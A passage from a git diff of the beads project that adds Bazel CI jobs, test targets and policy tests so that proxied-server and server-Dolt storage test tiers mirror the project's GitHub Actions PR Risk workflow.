'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-proxied-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 + + # pr-risk.yml's server-Dolt storage tier, "Test (Server Dolt Conformance)" + # and "Test (Server Dolt Full Suite N/16)", as --config=doltserver-integration: + # the conformance and 16-shard full-suite variants of + # //internal/storage/dolt over a non-race dolt_test build, each shard + # running the job's own shard script. --config=doltserver-integration has + # exactly --config=integration's build flags, so it compiles nothing + # bazel-integration does not (shared through the remote cache). A job of + # its own, not gated by any integration switch: this is a PR-time tier, + # unlike main.yml's integration jobs. + bazel-server-storage: + name: Bazel / server-Dolt storage tier (advisory) + # Remote execution only, like bazel-integration: locally the tagged race + # build of //... alone is most of the timeout. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ needs.rbe.outputs.enabled == 'true' }} + timeout-minutes: 30 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + + - name: Set up Bazel + id: bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + + # Remote: the longest shard takes ~2-3 minutes (the storage suite's Go + # timeout is 15m per shard, 1200s Bazel cap), plus a compile. + - name: bazel test //... --config=doltserver-integration + id: test + timeout-minutes: 25 + run: | + set -o pipefail + start=$(date +%s) + rc=0 + bazel test //... --config=doltserver-integration \ + --build_event_json_file="$RUNNER_TEMP/bazel-bep.json" \ + 2>&1 | tee "$RUNNER_TEMP/bazel-test.log" || rc=$? + echo "bazel test --config=doltserver-integration: exit $rc, $(( $(date +%s) - start ))s wall" | tee -a "$GITHUB_STEP_SUMMARY" + exit "$rc" + + # As in bazel-embedded. + - name: Every target and shard ran tests + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/bazel-bep.json" + + - name: Upload test logs + if: ${{ failure() && steps.test.outcome != 'skipped' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + name: bazel-server-storage-testlogs + path: | + bazel-testlogs/**/test.log + bazel-testlogs/**/test.xml + if-no-files-found: ignore + retention-days: 7 diff --git a/BUILD.bazel b/BUILD.bazel index d50268f92..95ddd3025 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -69,9 +69,11 @@ filegroup( visibility = ["//scripts:__pkg__"], ) -# PR Risk's embedded-Dolt shard scripts and their committed manifests. The -# embedded variants (//cmd/bd:bd_embedded_test, -# //internal/storage/embeddeddolt:embeddeddolt_embedded_test) run them through +# PR Risk's manifest-sharded tiers' shard scripts and their committed +# manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt +# storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, +# //internal/storage/embeddeddolt:embeddeddolt_embedded_test, +# //internal/storage/dolt:dolt_server_full_test) run them through # tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the # tests of the CI job with the same shard number. exports_files( @@ -80,9 +82,14 @@ exports_files( ".github/scripts/embedded-storage-test-shard.sh", ".github/scripts/embedded-storage-test-shards.txt", ".github/scripts/embedded-test-shard.sh", + ".github/scripts/proxied-cmd-test-shards.txt", + ".github/scripts/proxied-test-shard.sh", + ".github/scripts/server-storage-test-shard.sh", + ".github/scripts/server-storage-test-shards.txt", ], visibility = [ "//cmd/bd:__pkg__", + "//internal/storage/dolt:__pkg__", "//internal/storage/embeddeddolt:__pkg__", ], ) diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index b22dcd48b..35ecdb899 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1326,6 +1326,62 @@ sh_test( tags = ["embedded"], ) +# bd_test as PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs run it: shard k +# runs .github/scripts/proxied-test-shard.sh k+1 15 (the TestProxiedServer* +# functions, assigned by the committed manifest) against this configuration's +# (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race +# bd_for_tests as the subprocess binary, like the jobs' /tmp/bd-cmd-test and +# /tmp/bd-proxied. (main.yml's twin job runs the same shard script against +# build-artifacts' non-race bd-cmd-test; race here is the stricter one.) +# The shared proxied harness gets its dolt sql-server from +# internal/testutil's local backend (the pinned dolt in the test wrapper's +# runfiles) instead of the jobs' container, and fails instead of skipping +# when it cannot start one. It repeats bd_test's `env`. shard_count must +# stay equal to the manifest's shard total. +# +# Tags: +# dolt-server-proxied: the proxied-server tier; starts hermetic dolt +# sql-servers; excluded from --config=prcore/ci, selected by +# --config=doltserver-proxied. +sh_test( + name = "bd_proxied_test", + size = "large", + # The script's -test.timeout=15m fires (with a goroutine dump) before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/proxied-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + ], + data = [ + ":bd_for_tests", + ":bd_test", + ":go_srcs", + "//:.github/scripts/proxied-cmd-test-shards.txt", + "//:.github/scripts/proxied-test-shard.sh", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", + "BEADS_TEST_DOLT_SERVER": "local", + # The jobs' "Configure Git and Dolt identity" global git identity + # (tools/bazel/test_env.sh). + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "BEADS_TEST_PROXIED_SERVER": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + # The 4-vCPU runner shape: -test.parallel defaults to GOMAXPROCS, and + # the job runs 4 tests at once, not one per worker core (39 + # concurrent `bd init --proxied-server` against one server hung a + # 192-core worker). + "GOMAXPROCS": "4", + }, + shard_count = 15, + tags = ["dolt-server-proxied"], +) + # CLI flag registrations pinned by //internal/httpapi spec parity tests. exports_files( [ diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 6596c4452..53ea74270 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -104,6 +104,15 @@ suites of pr.yml's "Test (storage domain + uow)" and "Contract corpus" jobs on the `local` backend (the `dolt-server` targets); they need no docker and execute remotely with `--config=remote-exec`. `--config=docker` runs the same suites on the `container` backend (host docker) as the A/B control. +PR Risk's heavier server tiers have configs of their own, run by bazel.yml +only with remote execution, each in a job of its own (`bazel-proxied`, +`bazel-server-storage`): `--config=doltserver-proxied` is the +proxied-server cmd/bd tier ("Test (Proxied Dolt Cmd N/15)", +`//cmd/bd:bd_proxied_test`), and `--config=doltserver-integration` the +server-Dolt storage tier ("Test (Server Dolt Conformance)", "Test (Server +Dolt Full Suite N/16)", `//internal/storage/dolt:dolt_server_*_test`), which +builds with the integration tag like `--config=integration`. Each shard +runs its CI job's shard script, so Bazel shard k runs the tests of job k+1. Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 186326d6c..06f0b0048 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -1,4 +1,6 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:race.bzl", "go_test_race_off") go_library( name = "dolt", @@ -116,15 +118,13 @@ go_library( ], ) -# Under --config=integration, TestMultiProcessSchemaInit* and -# TestMultiStoreConcurrent_Subprocess build this package with a real -# `go test -c` (integration.SubprocessRunner). That needs the module's source -# tree and every dependency's module (dolt, go-mysql-server, ...) in a module -# cache, which no action has offline, so unlike //internal/testutil/integration -# (whose build fails on purpose) this target gets no BEADS_TEST_GO_BINARY/SDK -# data. Fine while the lane keeps BEADS_TEST_SKIP=dolt (main.yml's integration -# jobs), which skips those tests; a dolt-backed integration variant must build -# the helper binary with Bazel instead. +# TestMultiProcessSchemaInit* and TestMultiStoreConcurrent_Subprocess build +# this package with a real `go test -c` (integration.SubprocessRunner), which +# needs the module's source tree and a module cache no action has. They run +# only against a server: skipped under --config=integration +# (BEADS_TEST_SKIP=dolt, like main.yml's integration jobs), and run by +# dolt_server_full_test, which hands SubprocessRunner its own test binary +# (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( name = "dolt_test", srcs = [ @@ -354,10 +354,12 @@ go_test( "workspace_config_contract_test.go", ], # Source-scan guards (journal/version scope completeness, helper sentinel - # census) parse this package and ../issueops at test time. + # census) parse this package and ../issueops at test time; the PR4107 and + # migration replay tests (server-backed) read ../schema/migrations. data = [ ":go_srcs", "//internal/storage/issueops:go_srcs", + "//internal/storage/schema:migrations", ], embed = [":dolt"], deps = [ @@ -454,6 +456,102 @@ go_test( }), ) +# dolt_test without the race detector: PR Risk's server-Dolt jobs run +# build-embedded's /tmp/dolt-conformance-test, built by `go test -c` with the +# integration and gms_pure_go tags but without -race. tools/bazel/race.bzl lands +# its deps in the configuration the non-race //cmd/bd:bd_for_tests is built +# in; under --config=doltserver-integration (the integration lane's build +# flags) that is the configuration --config=integration builds bd_for_tests +# in, so the server tier compiles no third copy of the graph. +# +# Tags: +# manual: only the dolt_server_* variants' input, never a build target of +# its own. +go_test_race_off( + name = "dolt_race_off", + tags = ["manual"], + test = ":dolt_test", +) + +# PR Risk's "Test (Server Dolt Conformance)" job: conformance.RunAll against +# server-mode Dolt, with the job's binary flags. TestMain's server is a local +# `dolt sql-server` started from the pinned dolt in the test wrapper's +# runfiles instead of the job's container, and a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping +# the suite. It repeats dolt_test's `env` (it has none). +# +# Tags: +# dolt-server-integration: starts hermetic dolt sql-servers and needs the +# integration build tag; excluded from --config=prcore/ci and +# --config=integration, selected by --config=doltserver-integration. +sh_test( + name = "dolt_server_conformance_test", + size = "large", + # The job's -test.timeout=15m fires (with a goroutine dump) well before + # Bazel's 1200s action limit (eternal under the lane's --test_timeout). + timeout = "eternal", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = [ + "$(rootpath :dolt_race_off)", + "-test.v", + "-test.count=1", + "-test.timeout=15m", + "-test.run=^TestConformance$$", + ], + data = [":dolt_race_off"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + # The job's "Configure Git" global identity (tools/bazel/test_env.sh). + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + # The 4-vCPU runner shape: -test.parallel defaults to GOMAXPROCS. + "GOMAXPROCS": "4", + }, + tags = ["dolt-server-integration"], +) + +# PR Risk's "Test (Server Dolt Full Suite N/16)" jobs: shard k runs +# .github/scripts/server-storage-test-shard.sh k+1 16 (every top-level test +# but TestConformance, assigned by the committed manifest) against +# dolt_race_off, with the jobs' BEADS_TEST_ENV_RUN_DOLT=1 and a local dolt +# sql-server as in dolt_server_conformance_test. SubprocessRunner's helper +# processes re-exec this same binary (BEADS_TEST_SUBPROCESS_BINARY) where the +# job compiles the package again with `go test -tags integration -c`; go.mod +# lets integration.ModuleRoot find the module root it no longer builds in. +# shard_count must stay equal to the manifest's shard total. +# +# Tags: +# dolt-server-integration: as dolt_server_conformance_test. +sh_test( + name = "dolt_server_full_test", + size = "large", + # The script's -test.timeout=15m fires before Bazel's 1200s limit. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "$(rootpath //:.github/scripts/server-storage-test-shard.sh)", + "BEADS_TEST_SERVER_TEST_BINARY", + "$(rootpath :dolt_race_off)", + ], + data = [ + ":dolt_race_off", + ":go_srcs", + "//:.github/scripts/server-storage-test-shard.sh", + "//:.github/scripts/server-storage-test-shards.txt", + "//:go.mod", + ], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_ENV_RUN_DOLT": "1", + "BEADS_TEST_GIT_IDENTITY": "1", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + "BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)", + "GOMAXPROCS": "4", + }, + shard_count = 16, + tags = ["dolt-server-integration"], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/internal/storage/dolt/suite_leak_linux_test.go b/internal/storage/dolt/suite_leak_linux_test.go index 769722d0f..e5b20556c 100644 --- a/internal/storage/dolt/suite_leak_linux_test.go +++ b/internal/storage/dolt/suite_leak_linux_test.go @@ -12,6 +12,7 @@ import ( "time" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" "github.com/steveyegge/beads/internal/testutil/bazeltest" ) @@ -67,6 +68,10 @@ func TestSuiteFixtureLeakFailsOwningSuite(t *testing.T) { defer writeEnd.Close() t.Setenv("BEADS_SUITE_LEAK_PROBE", "1") t.Setenv("BEADS_TEST_SKIP", "dolt") + // The child skips Dolt on purpose, so a lane's fail-closed switch (set + // when this suite runs against a required server) must not turn that + // skip into a FATAL before the child reaches its leak sweep. + t.Setenv(testutil.EnvRequireDoltContainer, "") t.Setenv(doltserver.AllowLeakEnv, "") // This child is a complete suite, not one of the schema-init helpers // which deliberately bypass suite ownership and shutdown. diff --git a/internal/testutil/integration/harness.go b/internal/testutil/integration/harness.go index 918d4a451..03fd1607f 100644 --- a/internal/testutil/integration/harness.go +++ b/internal/testutil/integration/harness.go @@ -133,10 +133,32 @@ func goBinary() (string, error) { return bazeltest.RunfileEnv(GoBinaryEnv) } +// PrebuiltTestBinaryEnv names a variable that hands SubprocessRunner an +// already-built test binary of the package it would compile, instead of +// running `go test -c`. Under Bazel no action has the module's source tree +// and module cache that `go test -c` needs, but the test binary that is +// running is that package's test binary, integration-tagged, so the target +// passes it (resolved like any other runfile): +// +// env = {"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath )"}, +const PrebuiltTestBinaryEnv = "BEADS_TEST_SUBPROCESS_BINARY" + // Build compiles the test binary (once). Returns the path to the binary. +// With BEADS_TEST_SUBPROCESS_BINARY set it compiles nothing and returns that +// binary. func (r *SubprocessRunner) Build(t *testing.T) string { t.Helper() r.once.Do(func() { + if os.Getenv(PrebuiltTestBinaryEnv) != "" { + bin, err := bazeltest.RunfileEnv(PrebuiltTestBinaryEnv) + if err != nil { + r.buildErr = fmt.Errorf("prebuilt test binary: %w", err) + return + } + t.Logf("SubprocessRunner: using prebuilt test binary %s (%s) for %s", bin, PrebuiltTestBinaryEnv, r.pkg) + r.testBin = bin + return + } r.testBin = filepath.Join(t.TempDir(), "integration.test") t.Logf("SubprocessRunner: building test binary: go test -tags %s -c -o %s %s", r.tags, r.testBin, r.pkg) ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 022fb19af..5a37251c5 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -679,8 +679,14 @@ var allowedBazelTestTags = map[string]string{ // pinned dolt in its runfiles, so it runs on any worker, and a server that // cannot start fails it rather than skipping, so its cached result holds. "dolt-server": "starts hermetic dolt sql-servers (or completes the lane's job without -short); excluded from --config=prcore/ci, run by --config=doltserver", - "embedded": "embedded-Dolt tier variant; excluded from --config=prcore/ci, run by --config=embedded", - "manual": "never part of //...: a repro/bench harness, or a build input only another target needs; excluded from --config=prcore/ci", + // The same rules as dolt-server (hermetic servers, remote, fail-closed: + // checkDoltServerRules), for the tiers bazel.yml runs only with remote + // execution and, for the server storage tier, under the integration + // lane's build flags. + "dolt-server-proxied": "proxied-server cmd/bd tier: starts hermetic dolt sql-servers; excluded from --config=prcore/ci, run by --config=doltserver-proxied", + "dolt-server-integration": "server-Dolt storage tier: starts hermetic dolt sql-servers and needs the integration build tag; excluded from --config=prcore/ci, run by --config=doltserver-integration", + "embedded": "embedded-Dolt tier variant; excluded from --config=prcore/ci, run by --config=embedded", + "manual": "never part of //...: a repro/bench harness, or a build input only another target needs; excluded from --config=prcore/ci", // For a go_test whose every test file is `//go:build integration`: in any // other configuration rules_go drops those files and the target runs // zero tests, which check_testcases.py rejects and equivalence.py can @@ -694,7 +700,7 @@ var allowedBazelTestTags = map[string]string{ // and vice versa (TestBazelPRCoreExcludedTagsMatchTaxonomy), so a new lane // tag lands here, and through bazelIntegrationExcludedTags in the // integration lane's filter too. -var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "embedded", "manual", "integration-only"} +var bazelPRCoreExcludedTags = []string{"requires-docker", "dolt-server", "dolt-server-proxied", "dolt-server-integration", "embedded", "manual", "integration-only"} // bazelIntegrationRunsTags are the PR-core-excluded tags --config=integration // runs: the integration lane is main.yml's integration jobs, whose diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 16ba9d577..581a17326 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1471,6 +1471,8 @@ const ( bazelEmbedJobName = "bazel-embedded" bazelRBEJobName = "rbe" bazelIntegJobName = "bazel-integration" + bazelProxiedJobName = "bazel-proxied" + bazelServerJobName = "bazel-server-storage" setupBazelActionDir = ".github/actions/setup-bazel" uploadArtifactSHA = "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a" downloadArtifactSHA = "3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c" @@ -1486,11 +1488,11 @@ const ( // bazel.yml's jobs: the rbe job that decides the execution mode, the // --config=ci lane, and one job per CI job a Bazel config mirrors. -var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelPureJobName, bazelJobName, bazelRBEJobName} +var bazelJobNames = []string{bazelDoltJobName, bazelEmbedJobName, bazelIntegJobName, bazelProxiedJobName, bazelPureJobName, bazelServerJobName, bazelJobName, bazelRBEJobName} // The lanes that only run remotely (skipped unless the rbe job chose remote); // every other lane also runs locally. -var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelIntegJobName: true} +var bazelRemoteOnlyJobs = map[string]bool{bazelEmbedJobName: true, bazelIntegJobName: true, bazelProxiedJobName: true, bazelServerJobName: true} // The rbe job's decision step reads exactly one secret, and only to test it // for emptiness: its env value is a boolean, not the secret. @@ -1868,8 +1870,16 @@ var ( doltServerExtraEnv = map[string][]string{ "fix_dolt_test": {`"BEADS_FIX_REQUIRE_DOLT": "1"`}, "protocol_dolt_test": {`"BEADS_PROTOCOL_REQUIRE_DOLT": "1"`}, + // Without it every proxied test self-skips (the jobs' step env). + "bd_proxied_test": {`"BEADS_TEST_PROXIED_SERVER": "1"`}, + // federation_test.go fails instead of skipping without a server. + "dolt_server_full_test": {`"BEADS_TEST_ENV_RUN_DOLT": "1"`}, } - bazelRuleNameRe = regexp.MustCompile(`(?m)^\s*name\s*=\s*"([^"]+)"`) + // doltServerLaneTags are the tags of the lanes whose targets start + // hermetic dolt sql-servers; checkDoltServerRules holds each of them to + // the same rules. + doltServerLaneTags = []string{"dolt-server", "dolt-server-proxied", "dolt-server-integration"} + bazelRuleNameRe = regexp.MustCompile(`(?m)^\s*name\s*=\s*"([^"]+)"`) ) // bazelTopRules splits a BUILD file into its top-level calls: each starts at @@ -1893,14 +1903,26 @@ func bazelTopRules(build string) []string { return rules } -// checkDoltServerRules checks each rule tagged dolt-server in one package's -// BUILD file on its own (a file-wide search would accept another target's -// env), and that the package has at least one. +// doltServerRuleTag returns the dolt-server lane tag a rule carries, or "". +func doltServerRuleTag(rule string) string { + for _, tag := range doltServerLaneTags { + if strings.Contains(rule, `"`+tag+`"`) { + return tag + } + } + return "" +} + +// checkDoltServerRules checks each rule tagged for a dolt-server lane +// (doltServerLaneTags) in one package's BUILD file on its own (a file-wide +// search would accept another target's env), and that the package has at +// least one. func checkDoltServerRules(pkg, build string) []error { var errs []error found := 0 for _, rule := range bazelTopRules(stripStarlarkComments(build)) { - if !strings.Contains(rule, `"dolt-server"`) { + tag := doltServerRuleTag(rule) + if tag == "" { continue } found++ @@ -1908,14 +1930,14 @@ func checkDoltServerRules(pkg, build string) []error { if m := bazelRuleNameRe.FindStringSubmatch(rule); m != nil { name = m[1] } - where := "//" + pkg + ":" + name + where := "//" + pkg + ":" + name + " (" + tag + ")" for _, env := range append(append([]string{}, doltServerRuleEnv...), doltServerExtraEnv[name]...) { if !strings.Contains(rule, env) { - errs = append(errs, errors.New(where+" (dolt-server) lacks rule env "+env)) + errs = append(errs, errors.New(where+" lacks rule env "+env)) } } if strings.Contains(rule, `"no-remote-exec"`) { - errs = append(errs, errors.New(where+" (dolt-server) is tagged no-remote-exec; the lane runs on remote workers")) + errs = append(errs, errors.New(where+" is tagged no-remote-exec; the lane runs on remote workers")) } } if found == 0 { @@ -1960,6 +1982,13 @@ sh_test( "no target": docker, "fix switch": strings.Replace(good, `"uow_dolt_test"`, `"fix_dolt_test"`, 1), "protocol switch": strings.Replace(good, `"uow_dolt_test"`, `"protocol_dolt_test"`, 1), + "proxied switch": strings.Replace(strings.Replace(good, `"uow_dolt_test"`, `"bd_proxied_test"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-proxied"]`, 1), + "run-dolt switch": strings.Replace(strings.Replace(good, `"uow_dolt_test"`, `"dolt_server_full_test"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-integration"]`, 1), + "proxied container": strings.Replace(strings.Replace(good, `"local"`, `"container"`, 1), + `tags = ["dolt-server"]`, `tags = ["dolt-server-proxied"]`, 1), + "integration no-remote-exec": strings.Replace(good, `tags = ["dolt-server"]`, `tags = ["dolt-server-integration", "no-remote-exec"]`, 1), } { if bad == good { t.Fatalf("%s: mutation did not apply", name) @@ -2054,6 +2083,260 @@ func TestBazelIntegrationJob(t *testing.T) { } } +// bazelrcLines returns .bazelrc's trimmed lines as a set. +func bazelrcLines(t *testing.T) map[string]bool { + t.Helper() + lines := map[string]bool{} + for _, line := range strings.Split(readPolicyFile(t, bazelPolicyRoot(t), ".bazelrc"), "\n") { + lines[strings.TrimSpace(line)] = true + } + return lines +} + +// assertBazelTierStep checks the test step of a remote-only tier job in +// bazel.yml: it runs exactly `bazel test //... --config=` with a BEP, +// keeps bazel's exit status, has a timeout below the job's, and is followed +// by check_testcases.py on that BEP. +func assertBazelTierStep(t *testing.T, job ciWorkflowJob, jobName, config string) { + t.Helper() + const id, bep, wantIf = "test", "bazel-bep.json", "" + step := job.step(t, "bazel test //... --config="+config) + if step.ID != id || step.If != wantIf || step.TimeoutMinutes == 0 || step.TimeoutMinutes >= job.TimeoutMinutes { + t.Errorf("%s step --config=%s: id=%q if=%q timeout-minutes=%d; want id %q, if %q, a timeout below the job's %d", + jobName, config, step.ID, step.If, step.TimeoutMinutes, id, wantIf, job.TimeoutMinutes) + } + cmd := regexp.MustCompile(`\s*\\\n\s*`).ReplaceAllString(step.Run, " ") + wantCmd := `bazel test //... --config=` + config + ` --build_event_json_file="$RUNNER_TEMP/` + bep + `"` + if !strings.Contains(cmd, wantCmd) || !strings.Contains(step.Run, "set -o pipefail") || strings.Count(step.Run, "bazel test //") != 1 || + strings.Contains(step.Run, "--config=remote-exec") || strings.Contains(step.Run, "--test_tag_filters") { + t.Errorf("%s step --config=%s does not run exactly %q:\n%s", jobName, config, wantCmd, step.Run) + } + assertTestStepKeepsExitStatus(t, step) + found := false + for _, s := range job.Steps { + if strings.TrimSpace(s.Run) == `python3 tools/bazel/check_testcases.py --bep "$RUNNER_TEMP/`+bep+`"` { + found = true + if s.If != "${{ always() && steps."+id+".outcome != 'skipped' }}" || (s.ContinueOnError != nil && s.ContinueOnError != false) { + t.Errorf("%s: check_testcases.py for %s: if=%q continue-on-error=%v", jobName, bep, s.If, s.ContinueOnError) + } + } + } + if !found { + t.Errorf("%s: no check_testcases.py step on %s (a shard or selector that runs no tests exits 0)", jobName, bep) + } +} + +// The proxied-server tier (pr-risk.yml "Test (Proxied Dolt Cmd N/15)"; main.yml's +// twin runs the same shard script on a non-race binary) and the server-Dolt storage tier (pr-risk.yml "Test (Server Dolt +// Conformance)", "Test (Server Dolt Full Suite N/16)") as Bazel variants: +// each manifest-sharded variant runs its jobs' shard script with their shard +// total, the conformance variant the job's exact flags, with the jobs' race +// setting, subprocess binaries and switches; the lanes' configs keep the +// jobs' selection, and the storage lane shares --config=integration's build. +// bazel.yml runs both tiers remotely only. +func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { + rc := bazelrcLines(t) + for _, want := range []string{ + "test:doltserver-proxied --@rules_go//go/config:race", + "test:doltserver-proxied --test_tag_filters=dolt-server-proxied", + "test:doltserver-proxied --test_timeout=-1,-1,-1,1200", + "test:doltserver-integration --test_tag_filters=dolt-server-integration", + "test:doltserver-integration --test_timeout=-1,-1,-1,1200", + } { + if !rc[want] { + t.Errorf(".bazelrc lacks %q", want) + } + } + var tierTags, integTags map[string]bool + for line := range rc { + for _, config := range []string{"doltserver-proxied", "doltserver-integration"} { + if strings.HasPrefix(line, "test:"+config+" ") && (strings.Contains(line, "-test.short") || strings.Contains(line, "BEADS_TEST_SKIP") || + strings.Contains(line, "-test.run") || strings.Contains(line, "-test.skip") || strings.Contains(line, "--test_filter")) { + t.Errorf(".bazelrc %q: the jobs run their scripts' selection, without -short or BEADS_TEST_SKIP", line) + } + } + if v, ok := strings.CutPrefix(line, "build:doltserver-integration --@rules_go//go/config:tags="); ok { + tierTags = tagSet(v) + } + if v, ok := strings.CutPrefix(line, "build:integration --@rules_go//go/config:tags="); ok { + integTags = tagSet(v) + } + } + // The same build flags as --config=integration, or the tier compiles the + // tagged graph once more. + if tierTags == nil || !sameTagSet(tierTags, integTags) { + t.Errorf(".bazelrc build:doltserver-integration tags = %v, want build:integration's %v", tierTags, integTags) + } + if rc["test:integration --@rules_go//go/config:race"] != rc["test:doltserver-integration --@rules_go//go/config:race"] { + t.Error(".bazelrc: test:doltserver-integration and test:integration differ in race; they must share their build") + } + + risk := readCIWorkflow(t, "pr-risk.yml") + build := risk.job(t, "build-embedded") + for step, want := range map[string]string{ + // The proxied jobs' test binary is this race build (--config= + // doltserver-proxied's bd_test), their subprocess bd the non-race one + // (bd_for_tests). + "Build embedded cmd test binary": "go test -tags gms_pure_go -race -c -o /tmp/bd-cmd-test ./cmd/bd/", + "Build proxied bd subprocess binary": "go build -tags gms_pure_go -o /tmp/bd-proxied ./cmd/bd/", + } { + if got := strings.TrimSpace(build.step(t, step).Run); got != want { + t.Errorf("pr-risk.yml %q = %q, want %q", step, got, want) + } + } + // main.yml's twin proxied jobs run build-artifacts' bd-cmd-test, which + // is not race: bd_proxied_test (race, like PR Risk's) is the stricter of + // the two. Pinned so a change there is a decision, not drift. + mainYML := readCIWorkflow(t, "main.yml") + if run := mainYML.job(t, "build-artifacts").step(t, "Build reusable Linux artifacts").Run; !strings.Contains(run, `go test -tags "$BEADS_BUILD_TAGS" -c -o artifacts/bd-cmd-test ./cmd/bd`+"\n") { + t.Errorf("main.yml build-artifacts no longer builds the non-race bd-cmd-test this tier is documented against (.bazelrc, cmd/bd:bd_proxied_test):\n%s", run) + } + if got := mainYML.job(t, "test-proxied-cmd").step(t, "Test proxied-server cmd shard").Env["BEADS_TEST_CMD_BINARY"]; got != "${{ github.workspace }}/ci-build-artifacts/bd-cmd-test" { + t.Errorf("main.yml test-proxied-cmd BEADS_TEST_CMD_BINARY = %q, want build-artifacts' bd-cmd-test", got) + } + // The server jobs' binary: integration-tagged (the lane's build tags) and + // not race (dolt_race_off). + m := regexp.MustCompile(`^go test -tags=(\S+) -c -o /tmp/dolt-conformance-test \./internal/storage/dolt/$`). + FindStringSubmatch(strings.TrimSpace(build.step(t, "Build server Dolt conformance test binary").Run)) + if m == nil || !sameTagSet(tagSet(m[1]), tierTags) { + t.Errorf("pr-risk.yml's server Dolt test binary is no longer the non-race `go test -tags= -c`: %v", m) + } + + type shardTier struct { + workflow, job, step, script, binVar, pkg, target, env string + } + tiers := []shardTier{ + {"pr-risk.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {"main.yml", "test-proxied-cmd", "Test proxied-server cmd shard", ".github/scripts/proxied-test-shard.sh", "BEADS_TEST_CMD_BINARY", "cmd/bd", "bd_proxied_test", "BEADS_TEST_PROXIED_SERVER"}, + {"pr-risk.yml", "test-server-storage-full", "Test", ".github/scripts/server-storage-test-shard.sh", "BEADS_TEST_SERVER_TEST_BINARY", "internal/storage/dolt", "dolt_server_full_test", "BEADS_TEST_ENV_RUN_DOLT"}, + } + for _, c := range tiers { + j := readCIWorkflow(t, c.workflow).job(t, c.job) + shards := len(j.Strategy.Matrix.Shard) + step := j.step(t, c.step) + if want := "bash " + c.script + " ${{ matrix.shard }} " + strconv.Itoa(shards); strings.TrimSpace(step.Run) != want { + t.Errorf("%s 